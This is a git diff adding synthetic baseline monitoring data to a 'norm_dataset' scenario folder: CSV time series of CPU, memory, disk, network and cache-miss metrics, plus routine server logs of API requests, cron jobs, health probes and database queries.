+2025-07-03T10:04:50Z,19.86,37.29,36.22,0.89,1.06,3 +2025-07-03T10:04:55Z,15.01,40.42,39.52,0.82,1.03,1 +2025-07-03T10:05:00Z,15.11,38.08,30.05,1.0,1.01,1 +2025-07-03T10:05:05Z,22.73,40.62,20.4,1.21,1.06,3 +2025-07-03T10:05:10Z,20.28,44.31,26.67,1.01,0.79,0 +2025-07-03T10:05:15Z,20.39,44.67,22.0,1.26,1.16,0 +2025-07-03T10:05:20Z,16.82,43.15,31.34,1.32,1.08,1 +2025-07-03T10:05:25Z,16.73,36.48,39.08,0.81,0.83,2 +2025-07-03T10:05:30Z,24.01,44.07,32.83,1.47,0.74,2 +2025-07-03T10:05:35Z,18.15,39.39,23.59,0.87,1.27,1 +2025-07-03T10:05:40Z,18.98,35.01,30.35,0.82,1.04,3 +2025-07-03T10:05:45Z,24.93,44.85,29.39,1.05,1.09,4 +2025-07-03T10:05:50Z,22.71,39.35,24.32,1.25,1.09,0 +2025-07-03T10:05:55Z,17.55,44.38,21.65,1.17,1.1,2 +2025-07-03T10:06:00Z,18.44,35.89,38.27,1.22,0.77,0 +2025-07-03T10:06:05Z,21.5,44.04,27.06,1.13,1.27,3 +2025-07-03T10:06:10Z,24.69,39.26,38.62,1.31,1.11,1 +2025-07-03T10:06:15Z,21.37,36.52,37.77,1.14,0.82,1 +2025-07-03T10:06:20Z,19.07,36.28,30.98,1.49,1.03,2 +2025-07-03T10:06:25Z,17.63,39.21,37.76,1.23,1.26,2 +2025-07-03T10:06:30Z,17.11,39.22,30.09,0.84,0.79,3 +2025-07-03T10:06:35Z,15.95,41.2,22.15,1.34,0.73,1 +2025-07-03T10:06:40Z,21.65,39.17,20.5,1.1,0.91,4 +2025-07-03T10:06:45Z,22.45,37.0,39.63,1.05,1.16,3 +2025-07-03T10:06:50Z,16.14,41.06,25.23,1.03,1.16,0 +2025-07-03T10:06:55Z,19.99,35.91,39.81,0.93,1.02,1 +2025-07-03T10:07:00Z,22.3,43.96,27.41,1.39,0.98,3 +2025-07-03T10:07:05Z,19.4,39.51,30.23,0.81,0.77,1 +2025-07-03T10:07:10Z,16.42,37.06,21.76,1.33,0.77,0 +2025-07-03T10:07:15Z,21.46,43.37,21.75,0.92,1.16,4 +2025-07-03T10:07:20Z,19.5,36.77,22.63,1.16,1.16,2 +2025-07-03T10:07:25Z,18.33,41.97,24.38,1.17,1.19,2 diff --git a/norm_dataset/scenario_14/norm_14_1.log b/norm_dataset/scenario_14/norm_14_1.log new file mode 100644 index 0000000000000000000000000000000000000000..cfad2c2f4aea41c5cbb66a21eda57166ffb80f6e --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_1.log @@ -0,0 +1,239 @@ +Jul 03 10:00:00 web-app[1234]: DEBUG cache hit for key: user_profile:42 +Jul 03 10:00:04 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:07 web-app[1234]: DEBUG cache hit for key: user_profile:63 +Jul 03 10:00:09 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:00:09 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:00:14 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:00:15 web-app[1234]: DEBUG cache hit for key: user_profile:46 +Jul 03 10:00:15 web-app[1234]: GET /api/v1/user/97 status=200 OK +Jul 03 10:00:17 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 03 10:00:20 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:00:21 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:00:23 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:24 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:00:28 web-app[1234]: GET /api/v1/user/26 status=200 OK +Jul 03 10:00:31 web-app[1234]: GET /api/v1/user/48 status=200 OK +Jul 03 10:00:34 web-app[1234]: DEBUG cache hit for key: user_profile:91 +Jul 03 10:00:36 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:00:37 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:37 web-app[1234]: GET /api/v1/user/52 status=200 OK +Jul 03 10:00:40 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:00:43 web-app[1234]: DEBUG cache hit for key: user_profile:88 +Jul 03 10:00:44 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:45 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:00:45 web-app[1234]: GET /api/v1/user/38 status=200 OK +Jul 03 10:00:50 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:51 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:58 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:58 web-app[1234]: GET /api/v1/user/22 status=200 OK +Jul 03 10:00:58 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:01:01 web-app[1234]: DEBUG cache hit for key: user_profile:63 +Jul 03 10:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:01:08 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:11 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:01:15 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 03 10:01:24 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:01:25 web-app[1234]: GET /api/v1/user/58 status=200 OK +Jul 03 10:01:26 web-app[1234]: GET /api/v1/user/17 status=200 OK +Jul 03 10:01:27 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:01:30 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:36 web-app[1234]: GET /api/v1/user/96 status=200 OK +Jul 03 10:01:36 web-app[1234]: GET /api/v1/user/95 status=200 OK +Jul 03 10:01:39 web-app[1234]: DEBUG cache hit for key: user_profile:66 +Jul 03 10:01:42 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:01:44 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 03 10:01:47 web-app[1234]: DEBUG cache hit for key: user_profile:62 +Jul 03 10:01:48 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:48 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:01:49 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:01:53 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:56 web-app[1234]: GET /api/v1/user/54 status=200 OK +Jul 03 10:01:57 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:58 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:01:59 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:01 web-app[1234]: DEBUG cache hit for key: user_profile:97 +Jul 03 10:02:01 web-app[1234]: GET /api/v1/user/89 status=200 OK +Jul 03 10:02:03 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:02:04 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:05 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:08 web-app[1234]: GET /api/v1/user/18 status=200 OK +Jul 03 10:02:08 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:02:08 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:02:10 web-app[1234]: GET /api/v1/user/90 status=200 OK +Jul 03 10:02:14 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:02:15 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:02:20 web-app[1234]: GET /api/v1/user/41 status=200 OK +Jul 03 10:02:21 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:02:22 web-app[1234]: GET /api/v1/user/27 status=200 OK +Jul 03 10:02:25 web-app[1234]: GET /api/v1/user/100 status=200 OK +Jul 03 10:02:27 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:29 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 03 10:02:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:02:30 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:02:32 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:32 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:36 web-app[1234]: DEBUG cache hit for key: user_profile:69 +Jul 03 10:02:36 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:37 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:02:38 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:40 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 03 10:02:42 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:02:43 web-app[1234]: GET /api/v1/user/52 status=200 OK +Jul 03 10:02:43 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:49 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 03 10:02:49 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:52 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:02:55 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:57 web-app[1234]: DEBUG cache hit for key: user_profile:72 +Jul 03 10:02:58 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:02:59 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:00 web-app[1234]: GET /api/v1/user/46 status=200 OK +Jul 03 10:03:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:02 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:03:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:07 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:03:10 web-app[1234]: DEBUG cache hit for key: user_profile:82 +Jul 03 10:03:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:03:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:03:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:17 web-app[1234]: GET /api/v1/user/54 status=200 OK +Jul 03 10:03:17 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:03:18 web-app[1234]: GET /api/v1/user/62 status=200 OK +Jul 03 10:03:21 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:27 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:28 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:03:29 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:33 web-app[1234]: GET /api/v1/user/21 status=200 OK +Jul 03 10:03:33 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:03:36 systemd[1]: Starting daily clean up activities... +Jul 03 10:03:39 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:03:39 web-app[1234]: DEBUG cache hit for key: user_profile:92 +Jul 03 10:03:42 web-app[1234]: GET /api/v1/user/99 status=200 OK +Jul 03 10:03:44 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:03:48 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:03:51 web-app[1234]: GET /api/v1/user/24 status=200 OK +Jul 03 10:03:56 web-app[1234]: DEBUG cache hit for key: user_profile:36 +Jul 03 10:03:56 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:59 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:00 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:02 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:03 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:05 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:06 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:07 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:09 web-app[1234]: GET /api/v1/user/95 status=200 OK +Jul 03 10:04:12 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:18 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:18 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:19 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:04:21 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:21 web-app[1234]: DEBUG cache hit for key: user_profile:22 +Jul 03 10:04:22 web-app[1234]: DEBUG cache hit for key: user_profile:83 +Jul 03 10:04:22 web-app[1234]: GET /api/v1/user/98 status=200 OK +Jul 03 10:04:26 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:34 web-app[1234]: GET /api/v1/user/73 status=200 OK +Jul 03 10:04:34 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:37 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:38 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:42 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:43 web-app[1234]: GET /api/v1/user/43 status=200 OK +Jul 03 10:04:43 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:48 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:48 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:04:50 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:51 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:04:54 web-app[1234]: DEBUG cache hit for key: user_profile:16 +Jul 03 10:04:56 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:04:57 systemd[1]: Starting daily clean up activities... +Jul 03 10:04:57 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:05:00 web-app[1234]: GET /api/v1/user/54 status=200 OK +Jul 03 10:05:01 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:01 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:03 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:05 web-app[1234]: DEBUG cache hit for key: user_profile:35 +Jul 03 10:05:11 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:05:12 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:15 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:15 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:16 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:17 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:20 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 03 10:05:21 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:21 web-app[1234]: DEBUG cache hit for key: user_profile:91 +Jul 03 10:05:24 web-app[1234]: DEBUG cache hit for key: user_profile:56 +Jul 03 10:05:26 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:05:28 web-app[1234]: DEBUG cache hit for key: user_profile:59 +Jul 03 10:05:28 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:28 web-app[1234]: DEBUG cache hit for key: user_profile:37 +Jul 03 10:05:34 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:05:37 systemd[1]: Starting daily clean up activities... +Jul 03 10:05:40 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:41 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:43 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:47 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:48 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:05:48 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:05:51 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:05:52 web-app[1234]: DEBUG cache hit for key: user_profile:51 +Jul 03 10:05:54 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:55 web-app[1234]: GET /api/v1/user/52 status=200 OK +Jul 03 10:05:58 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:05:59 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:05:59 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:01 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:01 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:06:04 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:06:04 web-app[1234]: DEBUG cache hit for key: user_profile:14 +Jul 03 10:06:06 web-app[1234]: GET /api/v1/user/74 status=200 OK +Jul 03 10:06:06 web-app[1234]: DEBUG cache hit for key: user_profile:39 +Jul 03 10:06:08 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:06:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:11 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:11 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:12 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:06:19 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:19 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:20 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:20 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:23 web-app[1234]: GET /api/v1/user/93 status=200 OK +Jul 03 10:06:23 web-app[1234]: GET /api/v1/user/33 status=200 OK +Jul 03 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:06:29 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:30 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:31 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:32 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:33 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:06:40 web-app[1234]: GET /api/v1/user/46 status=200 OK +Jul 03 10:06:44 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:45 web-app[1234]: GET /api/v1/user/59 status=200 OK +Jul 03 10:06:45 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:46 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:06:48 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:06:50 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:06:51 web-app[1234]: DEBUG cache hit for key: user_profile:45 +Jul 03 10:06:52 web-app[1234]: GET /api/v1/user/23 status=200 OK +Jul 03 10:06:53 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:55 web-app[1234]: DEBUG cache hit for key: user_profile:53 +Jul 03 10:07:02 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:07:08 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:07:11 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:07:12 web-app[1234]: GET /api/v1/user/88 status=200 OK +Jul 03 10:07:14 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 03 10:07:14 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:16 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:16 db-proxy[5678]: Connection from web-app-pod-xyz established. +Jul 03 10:07:18 web-app[1234]: GET /api/v1/user/94 status=200 OK +Jul 03 10:07:22 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:23 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz +Jul 03 10:07:24 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:27 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod-xyz diff --git a/norm_dataset/scenario_14/norm_14_10.csv b/norm_dataset/scenario_14/norm_14_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..065df98786fb6915f89e7eedfc59f35bd762b003 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-23T10:00:00Z,17.715844947250474,38.44886938034762,20.32659233526424,1.4391269761283607,0.9900338697630823,2 +2025-08-23T10:00:05Z,16.327112436829953,38.194242499072395,36.342125739371156,0.9051291634434075,0.9230734141143172,2 +2025-08-23T10:00:10Z,14.875038563122615,37.11296097557218,22.874732889893213,0.8145760872079202,0.8624295655898059,1 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0000000000000000000000000000000000000000..33417d486dabf7e360c7e49e504a6791171743c9 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_10.log @@ -0,0 +1,20 @@ +Aug 23 10:00:00 db-backup[6789]: Starting daily database backup... +Aug 23 10:00:20 systemd[1]: Starting daily clean up activities... +Aug 23 10:00:45 web-app[1234]: Successfully processed batch job: job_155 +Aug 23 10:01:10 cron[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:01:30 cron[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:01:55 db-backup[6789]: Starting daily database backup... +Aug 23 10:02:20 db-backup[6789]: Database backup completed successfully. +Aug 23 10:02:40 web-app[1234]: GET /api/v1/user/89 status=200 OK +Aug 23 10:03:05 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 23 10:03:30 web-app[1234]: Cache hit for key: user_profile:95 +Aug 23 10:03:50 kernel: [UFW BLOCK] IN=eth0 OUT= MAC=... SRC=... DST=... LEN=40 TOS=0x00 PREC=0x00 TTL=244 ID=... PROTO=TCP SPT=... DPT=... +Aug 23 10:04:15 systemd[1]: Started Session 1467 of user root. +Aug 23 10:04:40 web-app[1234]: Cache hit for key: user_profile:72 +Aug 23 10:05:00 web-app[1234]: Cache hit for key: user_profile:90 +Aug 23 10:05:25 cron[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:05:50 cron[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:06:10 web-app[1234]: Cache hit for key: user_profile:12 +Aug 23 10:06:35 db-backup[6789]: Starting daily database backup... +Aug 23 10:07:00 web-app[1234]: Cache hit for key: user_profile:53 +Aug 23 10:07:25 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_14/norm_14_11.csv b/norm_dataset/scenario_14/norm_14_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..9ee52abd873f7024b602c596b426dc15c266a03b --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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10:00:36 web-app[3341]: GET /api/v1/user/19 status=200 OK +Jul 03 10:01:12 web-app[3341]: GET /api/v1/user/10 status=200 OK +Jul 03 10:01:49 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:02:30 web-app[3341]: INFO Cache miss for key: user:profile:8912, fetching from DB. +Jul 03 10:02:48 web-app[3341]: INFO Cache miss for key: session:4945, fetching from DB. +Jul 03 10:03:05 web-app[3341]: INFO Cache miss for key: session:7616, fetching from DB. +Jul 03 10:03:23 web-app[3341]: INFO Cache miss for key: session:5018, fetching from DB. +Jul 03 10:03:41 postgres[5432]: LOG: statement: SELECT * FROM products WHERE id = 238 +Jul 03 10:03:59 web-app[3341]: INFO Cache miss for key: session:2133, fetching from DB. +Jul 03 10:04:16 web-app[3341]: INFO Cache miss for key: session:7195, fetching from DB. +Jul 03 10:04:34 postgres[5432]: LOG: statement: SELECT * FROM products WHERE id = 290 +Jul 03 10:04:52 web-app[3341]: INFO Cache miss for key: session:8195, fetching from DB. +Jul 03 10:05:10 web-app[3341]: INFO Cache miss for key: session:4075, fetching from DB. +Jul 03 10:05:27 postgres[5432]: LOG: statement: SELECT * FROM products WHERE id = 496 +Jul 03 10:05:45 web-app[3341]: INFO Cache miss for key: session:4579, fetching from DB. +Jul 03 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:22 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:53 systemd[1]: Starting daily clean up activities... +Jul 03 10:07:25 web-app[3341]: GET /api/v1/user/10 status=200 OK diff --git a/norm_dataset/scenario_14/norm_14_12.csv b/norm_dataset/scenario_14/norm_14_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..b340d3ec4440dbe954ed35826535943e2a1791f0 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_12.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu_usage,db_disk_io,db_net_in,cache_misses,app_cpu_usage,app_mem_usage +2025-08-22 10:00:00+00:00,13.86,26.9,0.52,3,16.82,43.38 +2025-08-22 10:00:05+00:00,13.16,26.39,1.32,0,17.92,40.62 +2025-08-22 10:00:10+00:00,12.44,24.23,0.64,2,19.71,36.92 +2025-08-22 10:00:15+00:00,14.3,30.56,1.14,2,20.42,35.55 +2025-08-22 10:00:20+00:00,10.42,23.68,1.43,1,20.43,43.23 +2025-08-22 10:00:25+00:00,13.74,34.43,0.59,1,16.22,37.46 +2025-08-22 10:00:30+00:00,11.08,28.29,1.11,1,23.63,36.84 +2025-08-22 10:00:35+00:00,11.03,35.46,0.68,2,19.64,35.95 +2025-08-22 10:00:40+00:00,13.56,33.49,0.5,3,15.35,38.76 +2025-08-22 10:00:45+00:00,14.82,32.55,1.47,3,24.19,35.03 +2025-08-22 10:00:50+00:00,12.35,27.56,1.47,3,21.87,38.68 +2025-08-22 10:00:55+00:00,14.91,21.92,1.49,3,17.28,44.98 +2025-08-22 10:01:00+00:00,14.74,30.66,0.55,2,21.83,44.39 +2025-08-22 10:01:05+00:00,10.72,31.48,0.83,1,17.26,42.19 +2025-08-22 10:01:10+00:00,12.04,28.87,0.92,2,23.94,36.8 +2025-08-22 10:01:15+00:00,13.41,32.3,1.12,1,19.07,35.86 +2025-08-22 10:01:20+00:00,12.15,36.82,0.87,3,22.25,44.12 +2025-08-22 10:01:25+00:00,13.48,32.35,0.88,0,19.51,39.82 +2025-08-22 10:01:30+00:00,10.37,29.11,1.38,3,17.07,43.26 +2025-08-22 10:01:35+00:00,14.36,33.6,1.33,0,21.51,42.35 +2025-08-22 10:01:40+00:00,10.5,32.99,0.65,0,18.46,44.02 +2025-08-22 10:01:45+00:00,13.23,31.69,1.04,1,22.24,44.38 +2025-08-22 10:01:50+00:00,11.57,23.63,1.14,3,20.53,43.13 +2025-08-22 10:01:55+00:00,10.24,22.81,0.86,4,18.0,43.63 +2025-08-22 10:02:00+00:00,12.85,30.29,0.75,3,21.39,42.68 +2025-08-22 10:02:05+00:00,13.57,22.67,1.31,3,19.83,43.53 +2025-08-22 10:02:10+00:00,13.7,20.72,0.95,3,18.72,39.17 +2025-08-22 10:02:15+00:00,14.65,34.8,1.36,4,17.71,35.02 +2025-08-22 10:02:20+00:00,14.8,22.5,0.88,1,16.46,37.22 +2025-08-22 10:02:25+00:00,12.44,21.94,0.96,3,15.9,44.14 +2025-08-22 10:02:30+00:00,10.69,39.51,1.36,2,20.12,41.53 +2025-08-22 10:02:35+00:00,10.35,26.39,1.13,3,20.25,35.15 +2025-08-22 10:02:40+00:00,11.95,27.11,0.73,0,23.94,37.37 +2025-08-22 10:02:45+00:00,10.26,21.4,1.1,0,21.17,44.84 +2025-08-22 10:02:50+00:00,14.59,26.66,0.95,1,18.18,38.49 +2025-08-22 10:02:55+00:00,11.69,35.34,1.4,4,16.99,40.22 +2025-08-22 10:03:00+00:00,10.35,22.38,1.14,2,16.77,44.83 +2025-08-22 10:03:05+00:00,14.9,34.53,0.68,1,16.95,36.38 +2025-08-22 10:03:10+00:00,13.73,23.14,0.66,2,20.03,35.92 +2025-08-22 10:03:15+00:00,10.34,25.65,1.38,3,15.58,41.9 +2025-08-22 10:03:20+00:00,10.94,32.77,1.0,1,22.68,37.72 